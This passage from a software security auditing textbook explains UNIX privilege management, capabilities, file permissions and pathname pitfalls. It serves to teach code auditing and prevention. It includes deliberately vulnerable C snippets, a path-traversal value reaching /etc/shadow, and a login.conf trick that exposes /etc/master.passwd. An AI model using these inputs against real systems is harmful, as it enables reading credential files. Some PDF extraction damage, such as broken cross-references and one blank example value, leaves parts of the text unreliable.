You can suggest the use of setregid(getgid(), getgid()) or 

setresgid(getgid(), getgid(), getgid()), which sets all three group IDs to 

the real group ID. This method doesn't work in older versions of OpenBSD, 

however. You can instead suggest using setgid(getgid()) twice in a row to 

clear the saved set-group-ID. 

 Similarly, developers run into difficulty using the setuid(getuid()) idiom 

because it probably leaves the saved set-user-ID set to a privileged user. 
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setreuid(getuid(), getuid()) or setresuid(getuid(), getuid(), getuid()) 

should work to set all three user IDs to the real user ID. This method doesn't 

work in older versions of OpenBSD, but you can instead suggest using 

setuid(getuid()) twice in a row. 

Temporary Dropping of Privileges 

If programs need to drop their privileges temporarily, check for the following: 

 Make sure the code drops any relevant group permissions as well as 

supplemental group permissions. 

 Make sure the code drops group permissions before user permissions. 

 Make sure the code restores privileges before attempting to drop privileges 

again, either temporarily or permanently. 

 Think about the consequences of changing the effective user ID for signals, 

debugging APIs, and special device files. These issues are discussed in more 

depth in this chapter and Chapter 10(? [????.]), "UNIX II: Processes." Signals 

are dealt with separately in Chapter 13(? [????.]), "Synchronization and 

State." 

Function Audit Logs for Privileged Applications 

As a useful auditing aid, you might find it advantageous to note in your function audit 

logs (described in Chapter 7(? [????.]), "Program Building Blocks") the privileges that 

each function runs with when auditing applications that switch privilege contexts. This 

is as simple as adding in an additional two entries for a function (See Table 9-5). 

Table 9-5. Function Audit Log Addition 

User Privileges RUID=user, EUID=root, SUID= 

Group Privileges RGID=users, EGID=users, SGID=users, SUPP= 

 

The example indicates both the user and group privileges in effect when the program 

is run. RUID, EUID, and SUID stand for "Real UID", "Effective UID", and "Saved set 

UID" respectively. The next row uses RGID, EGID, SGID, and SUPP to stand for "Real 

GID", "Effective GID", "Saved set GID", and "Supplemental Groups" respectively. You 

also need to add to your notes for the function if it changes privileges throughout the 

course of the function, and in which cases it will change privileges. This little addition 

to a standard audit log allows you to quickly and accurately assess whether resource 

accesses within the function are potentially dangerous or not. 

Note 
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You saw that the privilege management API can behave differently on different UNIX 

systems, and, as such, you might not be able to correctly assess what the user and 

group privileges will be for a particular function. In this case, you also should make a 

note in the function audit log if non-portable privilege API usage might cause the 

application to behave differently on other OSs. 

 

 

Privilege Extensions 

The UNIX privilege model often comes under criticism because of its all-or-nothing 

design. If you're the root user, you have the unrestricted ability to wreak havoc on the 

system because you're granted access to any resource you want. To understand why 

this is a problem, return to one of the examples used in the discussion of user IDs. 

The ping program requires root privileges to run because it needs to create a raw 

socket. If a vulnerability is discovered in ping that is exploitable before it drops 

privileges, not only can users create a raw socket, but they can also modify any file on 

the system, potentially load kernel modules to hijack system functionality, delete log 

files, and steal sensitive data. So any program that needs to perform an operation 

requiring special privileges essentially puts the entire system's security at stake. 

Several technologies, discussed in the following sections, have been developed to 

combat this age-old problem. 

Linux File System IDs 

One set of IDs not mentioned previously is relevant to code running on a Linux system. 

In Linux, each process also maintains a file system user ID (fsuid) and a file 

system group ID (fsgid). These IDs were created to address a potential security 

problem with signals. If you recall, when a daemon running as root temporarily drops 

privileges to assume a user's role, it sets its effective user ID to the ID of the less 

privileged user. 

This behavior can lead to security issues because a process's effective user ID is used 

in security checks throughout the kernel. Specifically, it's used to determine whether 

certain signals can be sent to a process from another process. Because of this 

checking, when the daemon assumes the effective user ID of a local user on the 

machine, that user might be able to send signals and perhaps even attach a debugger 

to the daemon. 

To address this issue, the Linux kernel programmers created the fsuid and fsgid to be 

used for all file system accesses. These IDs are usually kept 100% synced with the 

effective user ID, so their presence doesn't affect use of the normal 

privilege-management APIs. However, a program that wants to temporarily use a 

normal user's file system privileges without exposure to attacks caused by security 
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checks based on effective IDs can simply change its file system user and group IDs 

with the API calls setfsuid() and setfsgid(). 

BSD securelevels 

The BSD securelevels kernel protection (now supported by Linux to some extent) is 

intended to protect the system kernel from the root user. The primary focus of 

securelevels is to enforce some restrictions on every user on the system, including 

the superuser, so that a root compromise doesn't render a machine completely 

vulnerable. It uses a systemwide kernel value, the "securelevel," to help decide what 

actions system users are allowed to perform. The different branches and versions of 

BSD vary in the number of levels they provide and the protection each level offers, 

but the idea is essentially the same in each version. The following excerpt from the 

init(8) man page describes the available levels: 

The kernel runs with four different levels of security. Any superuser process can raise 

the security level, but only init can lower it. The security levels are: 

-1 Permanently insecure modealways run the system in level 0 mode. 

0 Insecure modeimmutable and append-only flags may be turned off. All devices may 

be read or written subject to their permissions. 

1 Secure modethe system immutable and system append-only flags may not be 

turned off; disks for mounted filesystems, /dev/mem, and /dev/kmem may not be 

opened for writing. 

2 Highly secure modesame as secure mode, plus disks may not be opened for writing 

(except by mount(2)) whether mounted or not. This level precludes tampering with 

filesystems by unmounting them, but also inhibits running newfs(8) while the system 

is multi-user. 

If the security level is initially -1, then init leaves it unchanged. Otherwise, init 

arranges to run the system in level 0 mode while single user and in level 1 mode while 

multiuser. If level 2 mode is desired while running multiuser, it can be set while single 

user, e.g., in the startup script /etc/rc, using sysctl(8). 

As you can see, this systemwide setting can inhibit actions for even superusers. 

Although it offers a level of protection, it doesn't allow fine-tuning for specific 

processes and can be susceptible to bypasses by users modifying certain files and 

restarting the machine if they gain root access. 

Capabilities 

Linux has also undertaken the challenge of addressing the basic UNIX privilege 

shortcomings by implementing a technology known as capabilities. This model 
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defines a set of administrative tasks (capabilities) that can be granted to or restricted 

from a process running with elevated privileges. Some of the defined capabilities 

include the following: 

 CAP_CHOWN Provides the capability to change the ownership of a file. 

 CAP_SETUID/CAP_SETGID Provides the capability to manipulate a user and group 

privileges of a process by using the set*id() functions discussed previously. 

 CAP_NET_RAW Provides the capability to use raw sockets. 

 CAP_NET_BIND_SERVICE Provides the capability to bind to a "privileged" UDP or 

TCP port (that is, one lower than 1024). 

 CAP_SYS_MODULE Provides the capability to load and unload kernel modules. 

Being able to grant and omit certain capabilities from applications makes it possible to 

create processes that have one special system capability without putting the entire 

system at risk if it's compromised. The ping program is a perfect example. Instead of 

having it run with full permissions to create a raw socket, it could be granted the 

CAP_NET_RAW privilege. If the program is compromised, attackers can create raw 

sockets (which is still a breach), but can't automatically load kernel modules or mount 

new file systems, for example. 

Capabilities are applied to running processes but can also be applied to files on disk to 

enforce restrictions or grant special privileges when a certain binary is run (much like 

the setuid/setgid bits associated with a file). 

A process has three bitmasks of capabilities: 

 Permitted set The set of capabilities the process can enable. 

 Effective set The set of capabilities that has been enabled already (the set 

that's consulted when performing a privileged operation). 

 Inheritable set The set of capabilities that a new process can inherit when the 

current process creates one. 

Although the effective set ultimately governs what a process can do, the other two 

sets are equally important. To see why, imagine that the ping program has only the 

CAP_NET_RAW capability in its effective set, but its permitted set includes a series of 

other random capabilities, such as CAP_SYS_MODULE. In this case, if users did 

compromise the ping program, they could enable the CAP_SYS_MODULE capability (thus 

adding it to the effective set) by using the sys_capset() system call and load kernel 

modules as a result. 

File capabilities are similar, except they're associated with a file. A file has three 

capability sets also, but these sets differ slightly: 
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 Allowed set The set of capabilities that are allowed to be added to the process 

capability sets when the executable runs. (Capabilities apply only to 

executables.) 

 Forced set A set of capabilities that are granted in addition to those users 

might already have. This set allows a certain application to be given special 

privileges whenever it runs (like setuid/setgid bits on a file, but more refined). 

 Effective set This set isn't really a set, but a bit indicating whether capabilities 

in the permitted set should automatically be transferred to the effective set 

when a new process image is loaded. 

Capabilities Implementation Vulnerability 

In early incarnations of the Linux capabilities solution (Linux kernel 2.2.15), 

Wojciech Purczynski discovered an interesting logic error. Specifically, users 

were able to restrict their privileges to their eventual advantage. By 

removing the CAP_SETUID privilege from the inheritable and permitted 

privilege sets and then running a setuid root application, the application 

would run with root privileges but wasn't permitted to drop privileges if 

necessary. Therefore, a call to setuid(getuid()) would fail, and the 

application would continue to run in an elevated privilege context. An exploit 

was constructed that targeted Sendmail 8.10.1. You can read more details 

about this vulnerability at www.securityfocus.com/bid/1322/discuss. 

 
 

7.5.5 File Security 

Every file on a UNIX system has a set of attributes stored in the file system alongside 

the file's content. These attributes describe properties of the file, such as file size, file 

owner, security permissions, and access and modification timestamps. When a 

process attempts to act on a file, the kernel consults these file attributes to determine 

whether the process is permitted to proceed. The following sections describe these 

file attributes and explain how the kernel uses them to make access control decisions, 

and what kind of mistakes might be made in applications that interact with the file 

system. 

File IDs 

As mentioned previously, every file in a UNIX system has an owner, who is a system 

user with responsibility for the file and extended control over it. Every file also 

belongs to a single group on the system so that the members of that group can be 

granted certain privileges on the file. Files have two integer attributes representing 

this ownership information: owner ID and group ID. 

http://www.securityfocus.com/bid/1322/discuss
31051536.html
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The kernel sets the file's owner and group when the file is first created. The owner is 

always set to the effective user ID of the process that created the file. The initial group 

membership is a little trickier, as there are two common schemes by which the group 

ID can be initialized. BSD-based systems tend to set the initial group ID to the group 

ID of the file's parent directory. The System V and Linux approach is to set the group 

ID to the effective group ID of the creating process. On systems that favor effective 

group IDs, you can usually use the BSD-style directory inheritance approach for 

whole file systems via mount options or for specific directories by using special 

permission flags. 

File IDs can be changed after file creation by using the system calls chown(), lchown(), 

and fchown(), which permit the caller to specify a new owner ID and a new group ID. 

On BSD and Linux systems, only the superuser can change a file's owner. However, 

System V systems have historically allowed file owners to give away ownership to 

another user. This option is configurable system-wide in most System V derivatives, 

and it's disabled by default in Solaris. 

On most systems, the superuser and file owner can change group memberships. File 

owners can change a file's group only to a group of which they are a member. Again, 

System V derivatives, excluding Solaris, tend to allow arbitrary group changes by the 

file owner, but overall, this behavior is uncommon. 

File Permissions 

File permissions are represented by a small, fixed-width set of bits stored as a file 

attribute on the file system. Figure 9-1 shows the permission bitmask. It's divided 

into four components, each composed of three bits. Because each section is a 3-bit 

value with a possible range of 0 to 7, octal notation lends itself quite naturally to 

describing file permissions. 

Figure 9-1. Permission bitmasks 

 

 

The four components of the permission bitmask are owner permissions, group 

permissions, other permissions, and a set of special flags. The owner permissions 

apply to only one user: the owner of the file. The group permissions apply to members 
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of the file's group, but they don't apply to the file's owner if he or she is a member of 

that group. The "other" permissions (sometimes known as "world permissions") apply 

to any other user on the system. The special component of the bitmask is a little 

different; it doesn't contain permissions that apply to a particular set of users; instead, 

it has flags indicating special file properties the kernel will honor. These special bits 

are discussed in more detail momentarily. 

Each component has three bits. For the owner, group, and other components, the 

three bits indicate read, write, and execute permissions. These three bits are 

interpreted in different ways depending on the type of the file. For a normal file, the 

read permission generally refers to the user's ability to open the file for reading with 

the open() system call. The write permission refers to the user's ability to open a file 

for writing with the open() system call. The execute permission refers to the user's 

ability to run a file as a program with the execve() system call. 

If a permission bit is set, it indicates that the associated privilege is granted to the 

associated set of users. So a file with a permission bit-string of octal 0645 (binary 000 

110 100 101) indicates that none of the special bits are set, the file owner has read 

and write permission, members of the file's group have read permission, and 

everyone else on the system has read and execute permission. 

The kernel looks only at the most specific set of permissions relevant to a given user. 

This can lead to confusing situations, such as a member of the file's group being 

forbidden from performing an action that everyone else on the system is permitted to 

do or the file owner being forbidden to do something that other system users are 

allowed to do. For example, a file with a permission string of octal 0606 (binary 000 

110 000 110) specifies that the file owner and everyone else on the system have read 

and write access to the file, except members of the file's group, who have no access 

to the file. 

Auditing Tip 

It's a common misunderstanding to think that the less specific permission bits are 

consulted if the more specific permissions prevent an action. 

 

The three special permission bits are the setuid bit, the setgid bit, and the sticky (or 

tacky) bit. If the setuid bit is set on an executable file, the program runs with the 

privileges of the file's owner, which means the effective user ID and saved 

set-user-ID of the new process are set to the file's owner ID. The setgid bit is similar: 

A program with the setgid bit set runs with the effective group privileges of the file's 

group. This means the effective group ID and saved set-group-ID of the process are 

set to the file's group ID. The sticky bit isn't widely used or supported for normal files, 
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but it usually indicates that the file is heavily used and the system should act 

accordingly, which might entail keeping it resident in memory for longer periods. 

File permissions can be changed on an existing file by using the chmod() system call, 

which takes a filename, or the fchmod() system call, which operates on a file the 

process has already opened. The only two users who can change permissions on a file 

are the file owner and the superuser. 

Umask 

Each process has a umask, which is a 9-bit mask used when creating files. Most file 

creation system calls take a mode parameter; users set this parameter to specify the 

12-bit permission string they want the file to have when it's created. The kernel takes 

these mode permissions and uses the umask value to further restrict which privilege 

bits are set. So if a process tries to create a file with read and write access for all users, 

but the umask prohibits it, the file is created without the access bits. 

To calculate the initial permission bits for a new file, the permission argument of the 

file creation system call is calculated with a bitwise AND operation with the 

complement of the umask value. This process is shown in Figure 9-2. The process has 

a umask value of 022, which tells the kernel to turn off group write and world write 

permissions on any file this process creates. With the 022 umask, an open() call with 

a permission argument of octal 0777 results in a file being created with permissions 

of octal 0755. 

Figure 9-2. Permission bitmasks and umask 
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A process may manually set its umask with the umask() system function. It has the 

following prototype: 

mode_t umask(mode_t mask); 

 

The umask() function will set the process umask to the 9-bit permissions string 

indicated by mask. This function always succeeds. A process's umask is inherited when 

a new program is run. You will learn more about attribute inheritance in Chapter 10(? 

[????.]), "UNIX II: Processes." If a process doesn't manually set its umask, it will 

likely inherit a default umask (022 in most cases). 

Directory Permissions 

As mentioned, directories are a special type of file for containing other files. They 

have a set of permissions like any file on the file system, but the kernel interprets the 

permission flags a little differently. 

If users have read permissions to a directory, they can view the list of files the 

directory contains. To do this, they open the directory with the open() system call, 

and then use a special system call to read the directory entries, such as geTDents(), 

readdir(), or getdirentries(). 
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If users have write permissions to a directory, they are allowed to alter the directory's 

contents. This means users can create new files in the directory through several 

system calls, such as creat(), open(), and mkdir(). Write permissions allow users to 

delete files in a directory by using unlink() or rmdir() and rename files in a directory 

by using the rename() system call. Note that the actual permissions and ownership of 

the files being deleted or renamed don't matter; it's the directory file that is being 

altered. 

Execute permissions, also called search permissions, allow users to enter the 

directory and access files in it. Basically, you need search permissions to enter a 

directory and access the files it contains. If you don't have search permissions, you 

can't access any files in the directory; consequently, any subdirectories of that 

directory are also closed to you. You need search permissions on a directory to enter 

it with the chdir() system call. Generally, if you have write permissions on a directory, 

you also need search permissions on it to be able to do anything. Read permissions, 

however, work without search permissions. 

The setuid bit typically has no meaning for directories on modern UNIX systems. The 

setgid bit is used on some Linux and System V systems to indicate that a directory has 

BSD semantics. For these systems, if a directory is marked with the setgid bit, any file 

created in that directory automatically inherits the directory's group ID. Any directory 

created in one of these special setgid directories is also marked setgid. 

If the sticky bit is set on a directory, the directory effectively becomes "append-only." 

If users have write permissions on a directory, they can rename and delete files in the 

directory at will, regardless of the actual file's permissions and ownership. A sticky 

directory, however, lets users delete and rename only files they own. This permission 

bit is used to implement public temporary directories, such as /tmp. Because /tmp is 

sticky, if one user creates a temporary file in there, another random user can't come 

along and rename or delete it. 

Directory permissions are initially set just as normal file permissions are. The mkdir() 

system call takes the mode argument into account and further restricts permissions 

based on the process's current umask. Directory permissions are changed by using 

the same API calls used for file permissions. 

Privilege Management with File Operations 

A process can attempt numerous actions that cause the kernel to perform a security 

check. Generally, creating or opening a file is subject to an access control check as 

well as operations that alter the directory a file resides in and operations that change 

file attributes. File opening is typically done with the open(), creat(), mknod(), mkdir(), 

or socket() system calls; a file's directory is altered with calls such as unlink() and 

rename(); and file attributes are changed with calls such as chmod(), chown(), or 

utimes(). All these privilege checks consider a file's permission bitmask, ownership, 
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and group membership along with the effective user ID, effective group ID, and 

supplemental groups of the process attempting the action. 

The effective permissions of a process are critical for file system interaction because 

they determine which actions the kernel allows on certain files and affect the initial 

ownership and group membership of any files or directories created by the process. 

You've already seen how UNIX processes manage their privileges and the pitfalls 

these programs can encounter. Naturally, applications running with privilege have to 

be extremely careful about how they interact with the file system. 

Privilege Recklessness 

The most straightforward type of file system interaction vulnerability is one that's 

already been discusseda privileged process that simply doesn't take any precautions 

before interacting with the file system. This recklessness usually has serious 

consequences, such as allowing unprivileged users to read or modify critical system 

files. You saw an example of this in Listing 9-1(? [????.]), which was a vulnerability in 

the XFree86 server. 

Libraries 

Sometimes a program is diligent about managing its elevated privileges but can run 

into trouble when it relies on third-party libraries to achieve some desired 

functionality. Shared libraries can often be the source of potential vulnerabilities, 

since users of the library don't know how the library functions internally; they only 

know the API that the library exports. Therefore, it is quite dangerous for libraries to 

access file system resources haphazardly, because if the library is used in a privileged 

application, the library functionality could be used as a vehicle for privilege escalation. 

If developers aren't made aware of the potential side effects of using a particular 

library, they might inadvertently introduce a vulnerability into an otherwise secure 

application. As an example, consider the bug related to the login class capability 

database in FreeBSD that Przemyslaw Frasunek discovered (documented at 

www.osvdb.org/displayvuln.php?osvdb_id=). This researcher noted that both the 

portable OpenSSH program and the login program call various functions in libutil to 

read entries from the login capabilities database before they drop privileges. This 

behavior is dangerous because if libutil is called in a certain way, it looks in a user's 

home directory for a .login.conf file, which contains user-specific login capability 

database entries. This code is encapsulated in the libutil library, so the problem 

wasn't immediately obvious. Here's one of the vulnerable code excerpts from 

OpenSSH: 

 

     if (newcommand == NULL && !quiet_login 

 

     && !options.use_login) { 

http://www.osvdb.org/displayvuln.php?osvdb_id=6073
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             fname = login_getcapstr(lc, "copyright", 

                 NULL, NULL); 

             if (fname != NULL && (f = 

                 fopen(fname, "r")) != NULL) { 

                     while (fgets(buf, sizeof(buf), f) 

                         != NULL) 

                             fputs(buf, stdout); 

                      fclose(f); 

 

The intent of this code is to print a copyright message defined by the system when 

users log in. The name of the copyright file, if one is defined, is obtained by calling 

login_getcapstr(). The login_getcapstr() function, defined in libutil, pulls an entry 

from the login capabilities database by using the libc function cgetstr(). The 

database it uses is referenced in the lc argument set by a previous call to 

login_getpwclass(), which essentially looks in a user's home directory for the 

user-specific class file. 

Say a user creates a ~/login.conf file containing these lines: 

default:\ 

 :copyright= 

 

If the user logs in to the system, the preceding OpenSSH code returns 

/etc/master.passwd as the copyright string, and the ssh daemon proceeds to open the 

password file as root and print its contents. 

File Creation 

Applications that create new files and directories in the file system need to be careful 

to select appropriate initial permissions and file ownership. Even if the process is 

working within a fairly safe part of the file system, it can get into trouble by leaving 

newly created files and directories exposed to attackers. 

The UNIX open() interface 

The primary interface on a UNIX system for creating and opening files is the open() 

system call. The open() function has the following semantics: 

int open(char *pathname, int flags, mode_t mask); 

 

As you can see, open () has three parameters. The pathname and mask parameters 

specify the name of the file to create or open and the 12-bit permission mask to apply 

to the file if one is being created. (If a file is being opened rather than created, the 
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permissions mask is ignored.) The flags parameter specifies how open() should 

behave. This parameter is composed of 0 or more special flag values that are OR'd 

together to create a bitmask. You will be introduced to these flags throughout the rest 

of this chapter. 

Permissions 

When reviewing a UNIX application, you should ensure that reasonable permission 

bits are initially chosen when a file or directory is created. If the file is created with 

open(), creat(), or a special function such as mknod(), programmers will likely specify 

an explicit file creation mode, which should be easy to spot-check. Keep in mind that 

the creation mode specified will silently be combined with the process's umask value 

which was discussed previously. Although the functions mentioned here use explicit 

file creation modes, you will see later on in "The Stdio File Interface(? [????.])" that 

the standard C libraries provide file I/O APIs that implicitly determine permissionsa 

much more dangerous programming model. 

Forgetting O_EXCL 

Creating a new file is easy to get wrong. Often when a developer writes code that is 

intended to open a file, the same code can inadvertently open an existing file. This 

kind of attack is possible because the open() function is responsible for both creating 

new files and opening existing ones. It will do one or the other depending on which 

flags are present in the flags parameter. The O_CREAT flag indicates that open() 

should create a new file if the requested file name doesn't already exist. Therefore, 

any invocation of open() that has the O_CREAT flag passed to it will potentially create 

a new file, but also might just open an existing one if it is already there (and the 

calling program has sufficient access to open it). When the O_EXCL flag is used in 

conjunction with O_CREAT, the open() function will exclusively create a new file. If the 

specified file name already exists, the open() function will fail. So, if open() is called 

with O_CREAT but not O_EXCL, the system might open an existing file instead of 

creating a new one. To see how this might be a problem, consider the following 

example: 

if ((fd=open("/tmp/tmpfile.out", 

        O_RDWR|O_CREAT, 0600)) < 0) 

        die("open"); 

 

 

... 

 

The code presented in the example creates a temporary file named /tmp/tmpfile.out. 

However, because the O_EXCL flag isn't specified, it is also possible that this code 

opens a pre-existing file if /tmp/tmpfile.out already exists. You see in "Race 
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Conditions(? [????.])" later on in this chapter that attackers can use file sym-links to 

exploit a problem like this to force an application to open sensitive system files. 

Also keep in mind that if a file is opened rather than created, the permissions mask 

passed to open() is completely ignored. Returning to the previous code snippet, if an 

application created the file /tmp/tmpfile.out with restrictive permissions as shown 

because it was going to store sensitive data in the file, any user could access that data 

by creating a file of the same name first. 

Unprivileged Owner 

Applications that run with special privileges often relinquish some or all of their 

privileges when performing potentially dangerous operations, such as creating or 

opening files. In general, this approach is reasonable, but there are definitely some 

pitfalls to watch out for. 

If the process creates a file or directory, it's created as the lesser privileged user. If 

it's a setuid root program, and the attacker is the lesser privileged user, this can have 

some serious consequences. Remember that if you own a file, you can change its 

group ownership and permission bitmask. Because you control the permissions, you 

can read, write, and truncate the file at will. Consider this code: 

drop_privs(); 

 

 

if ((fd=open("/usr/safe/account3/resultfile", 

             O_RDWR | O_CREAT, 0600))<0) 

    die("open"); 

 

 

regain_privs(); 

... 

 

This code is simple, but it shows what a file creation might look like in a 

privilege-savvy setuid program. There may or may not be a security issue with this 

program; it depends on what the program does with the file later. As it's written, if the 

file isn't already on the file system, it's created by the call to open(). It would be 

owned by the attacker, who could then manipulate the file's contents and permissions 

at will. These actions could include changing file contents out from under the program 

as it worked with the file, changing permissions to prevent the program from 

reopening the file later, or just reading the content in the file. 

Directory Safety 
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As discussed, a process that creates files needs to make sure it chooses an 

appropriate set of permissions and an appropriate owner and group for the file. This 

is not an application's only concern, as directories containing the file are also key to 

the file's overall security. 

If the new files are created in a directory that's writeable by an unprivileged user, the 

program needs to be capable of dealing with attackers doing things such as deleting 

files it creates, creating files with names that conflict with names the program is using, 

and renaming files after the program creates them. You see some examples of these 

attacks in "Links(? [????.])" and "Race Conditions(? [????.])" later in this chapter. 

If the directory is writeable by an attacker but is a sticky directory, the program is still 

in dangerous territory, but it doesn't need to worry about attackers renaming or 

deleting its files after it successfully creates them. However, it can run into plenty of 

trouble when creating these files, which you'll also see in "Race Conditions(? [????.])" 

later in this chapter. 

If the containing directory is actually owned by the attacker, the program has a 

different, yet equally serious, set of problems to worry about. An attacker who owns 

the directory can change the file permissions and group ownership of the directory to 

lock the process out or prevent it from doing certain actions at certain times. 

Parent Directories 

For a file to be safe, it isn't enough for it to be created securely and be in a secure 

directory. Every directory referenced in the filename has to be equally safe. For 

example, say a program works with a file in this location: 

/tmp/mydir/safedir/safefile. If safedir and safefile are secure and impervious to 

attack, but unprivileged users have ownership or write access to mydir, they can 

simply rename or remove the safedir enTRy and provide their own version of safedir 

and safefile. If the program uses this pathname later, it refers to a completely 

different file. This is why it's important for every directory to be secure, starting at the 

file's parent directory and going all the way up to the root directory. 

Filenames and Paths 

You already know about pathnames, but in this section you revisit them, focusing on 

security-relevant details. A pathname is a sequence of one or more directory 

components separated by the directory separator character, /. The pathname, like 

any other C string, is terminated with the NUL character (\x00). A pathname tells the 

kernel how to follow a path from a known directory location to a file or directory by 

traversing through the directory tree. For example, a pathname of /home/jm/test tells 

the kernel it should start at the root directory (/), then go to the home directory, then 

go to the jm directory, and then open the test file. 
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The terminology for files and paths isn't set in stone. Some sources separate a 

pathname into two parts: a path and a filename. In this context, the path is every 

directory component in the pathname except the last one, and it tells the kernel how 

to get to the directory containing the requested file. The filename is the last directory 

component, which is the name of the file in that directory. So the file referenced by 

the /home/jm/test pathname has a path of /home/jm/ and a filename of test. In 

practice, however, most people use the terms "pathname" and "filename" 

interchangeably. Usually, the term "path" indicates the directory containing a file, but 

it's also used when talking about any pathname that refers to a directory. 

There are two kinds of paths: absolute and relative. Absolute paths always start with 

the / character, and they describe how to get from the root directory, which has the 

name /, to another file or directory on the file system. Relative paths start with any 

character other than / or NUL, and they tell the kernel how to get from the process's 

current working directory to the target. 

Every directory has two special entries: the . enTRy, which refers to the directory 

itself, and the .. enTRy, which points to its parent directory. The root directory, which 

has a name of /, has a special .. entry that points back to itself. Files can't contain the 

/ character in their names, nor can they contain the NUL character, but every other 

character is permitted. More than one slash character in a row in a pathname is 

treated as just one slash, so the path /////usr////bin//// is the same as /usr/bin. If 

the pathname refers to a directory, generally it can have any number of trailing 

slashes because they're effectively ignored. 

Say you have the pathname /usr/bin/find. Because it begins with a /, you know that 

it's an absolute path that tells the kernel how to get to the find program from the root 

directory. /./////././usr/bin/../share/../bin/find is also an absolute path that 

references the same file, although it does so in a more circuitous fashion. If the 

currently running process has its current working directory set to the /usr/bin 

directory, perhaps as a result of using chdir("/usr/bin"), the relative pathname find 

references the program, as does ./find or ../../../../../../usr/bin/find. 

It might seem strange, but every time you use a system call that takes a pathname, 

the kernel goes through the process of stepping through each directory to locate the 

file. For the kernel to follow a path, you must have search permissions on every 

directory in that path. A lot of caching goes on to avoid a performance hit, but it's 

worth keeping that behavior in mind when you look at some of the attack vectors later 

in this section. 

Pathname Tricks 

Many privileged applications construct pathnames dynamically, often incorporating 

user-malleable data. These applications often do sanity checking on constructed 

filenames to ensure that they're in a safe location or don't contain any malicious 
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components. For example, imagine you have a privileged program that can be used to 

parse special data files, but these data files can be located in only two directories. The 

program contains the following code: 

if (!strncmp(filename, "/usr/lib/safefiles/", 19)) 

{ 

    debug("data file is in /usr/lib/safefiles/"); 

    process_libfile(filename, NEW_FORMAT); 

} 

else if (!strncmp(filename, "/usr/lib/oldfiles/", 18)) 

{ 

    debug("data file is in /usr/lib/oldfiles/"); 

    process_libfile(filename, OLD_FORMAT); 

} 

else 

{ 

    debug("invalid data file location"); 

    app_abort(); 

} 

 

Suppose this program takes the filename argument from users. The code tries to 

ensure that the pathname points to a safe location by checking the filename's prefix 

to make sure it points to an appropriate directory in /usr/lib, for which users 

shouldn't have write access. Users could potentially bypass these checks by providing 

a filename such as the following: 

/usr/lib/safefiles/../../../../../../../../etc/shadow 

 

This filename would pass the filename check, yet still make the privileged application 

open the shadow password file as its data file, which is likely to have exploitable 

consequences. 

An old Linux version of tftpd had a vulnerability of this nature that a researcher 

named Alex Belits discovered. The following code from tftpd is supposed to validate a 

filename (taken from his original bugtraq post, archived at 

http://insecure.org/sploits/linux.tftpd.dotdotbug.html): 

    syslog(LOG_ERR, "tftpd: trying to get file: %s\n", 

 

       filename); 

 

    if (*filename != '/') { 

            syslog(LOG_ERR, 

http://insecure.org/sploits/linux.tftpd.dotdotbug.html
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             "tftpd: serving file from %s\n", dirs[0]); 

            chdir(dirs[0]); 

    } else { 

            for (dirp = dirs; *dirp; dirp++) 

                    if (strncmp(filename, 

                        *dirp, strlen(*dirp)) == 0) 

                            break; 

            if (*dirp==0 && dirp!=dirs) 

                    return (EACCESS); 

    } 

    /* 

     * prevent tricksters from getting around the directory restrictions 

     */ 

    for (cp = filename + 1; *cp; cp++) 

            if(*cp == '.' && strncmp(cp-1, "/../", 4) == 0) 

                    return(EACCESS); 

 

If the filename's first character is a slash, tftpd assumes the directory is an absolute 

path and checks to make sure the initial directory matches up with one it knows about. 

If the filename's first character isn't a slash, ttfpd assumes it's a relative pathname, 

referring to a file in the first predefined directory. 

The code then checks that the filename doesn't contain any /../ sequences; if it does, 

the filename is rejected as being an attack attempt. The problem is that if the 

filename starts with the characters ../, it isn't caught by the check, and remote users 

can retrieve arbitrary files from the system by recursing out of the tftp directory, 

which is usually /tftpd. 

Embedded NUL 

The NUL character terminates a pathname, as a pathname is just a C string. When 

higher-level languages interact with the file system, however, they mostly use 

counted strings and don't use a NUL character to indicate string termination. Java, 

PHP, Visual Basic, and Perl programs can often be manipulated by passing filenames 

containing embedded NUL characters. The programming language views these 

characters as part of the pathname, but the underlying OS views them as a 

terminator. You delve into this pathname-related issue in Chapter 8(? [????.]), 

"Strings and Metacharacters." 

Dangerous Places 

The file system of a multiuser UNIX machine is much like a modern metropolis; most 

neighborhoods are safe, assuming you don't do anything stupid, but in a few parts of 

town, even the police warn you not to stop at traffic lights. On a UNIX machine, the 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 526 

"safe neighborhoods" are like gated communities: directories and files that only you 

and your trusted friends have control over. "Doing something stupid" would include 

creating new files and directories with insufficient permissions, the digital equivalent 

of not locking your doors. It would also include asking potentially malicious users for 

input on which files to process, which is akin to asking a thief to help you find a good 

place to hide your money. The dangerous parts of town would correspond to public 

directories that can be a bit scary on large multiuser boxes, such as /tmp, /var/tmp/, 

and the mail spool directory. 

In general, an application can be fairly insulated from file-related vulnerabilities if it 

stays within the safer parts of the file system. For example, if a program interacts 

with the file system just to read static files owned by privileged users, such as 

configuration files in /etc, it's likely to be immune to tampering from malicious third 

parties. If an application has to do more involved file system interaction, but it works 

with files in a safe location and makes sure to create and manipulate new files and 

directories safely, it's still likely to be safe. 

Any time a program has to go beyond these simple use cases, it runs into potential 

problems with malicious third parties manipulating the file system out from under it. 

From this perspective, potentially vulnerable programs are those that have to interact 

with files and directories in hostile locations on the file system. A hostile location is a 

place where other users and programs can interfere with, manipulate, interrupt, or 

hijack the use of files. The following locations are potentially hostile: 

 User-supplied locations Any time a file or directory name is constructed based 

on user input, a potential risk emerges. Any daemon or setuid application that 

takes a filename as input from a user of lesser privilege or a network 

connection has to be cautious in how it makes use of that filename. Users 

could easily point a process to a place in the file system where they have total 

control, and then pull off some subtle manipulation of files behind the 

program's back. 

 New files and directories A privileged process can work in a totally safe and 

protected location in the file system, but if it creates a new file or directory 

with overly lenient permissions, attackers might be able to manipulate it 

surreptitiously. 

 Temporary and public directories Many applications make use of temporary 

files in public directories, and if they are used improperly, the applications are 

exposed to various attacks. Daemons and setuid applications are certainly 

susceptible to these problems, but unprivileged applications can also run into 

trouble. If a program running as a unprivileged user can be tricked into 

exposing that user's files or privileges to other users on the system, it can 

result in a serious vulnerability. 

 Files controlled by other users Some setuid applications work with files 

controlled by the unprivileged user who called the program, such as a 

configuration file in the user's home directory. Many daemons make similar 
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use of other users' files, and some daemons even traverse portions of the file 

system periodically to perform maintenance tasks. Privileged programs have 

to be careful about how they interact with these user-controlled files. 

Interesting Files 

A typical UNIX system has several files and directories that are interesting to code 

auditors because they contain secret information or configuration or control data for 

privileged programs, encapsulate hardware or kernel objects, or have behaviors or 

attributes that could be leveraged in an attack. 

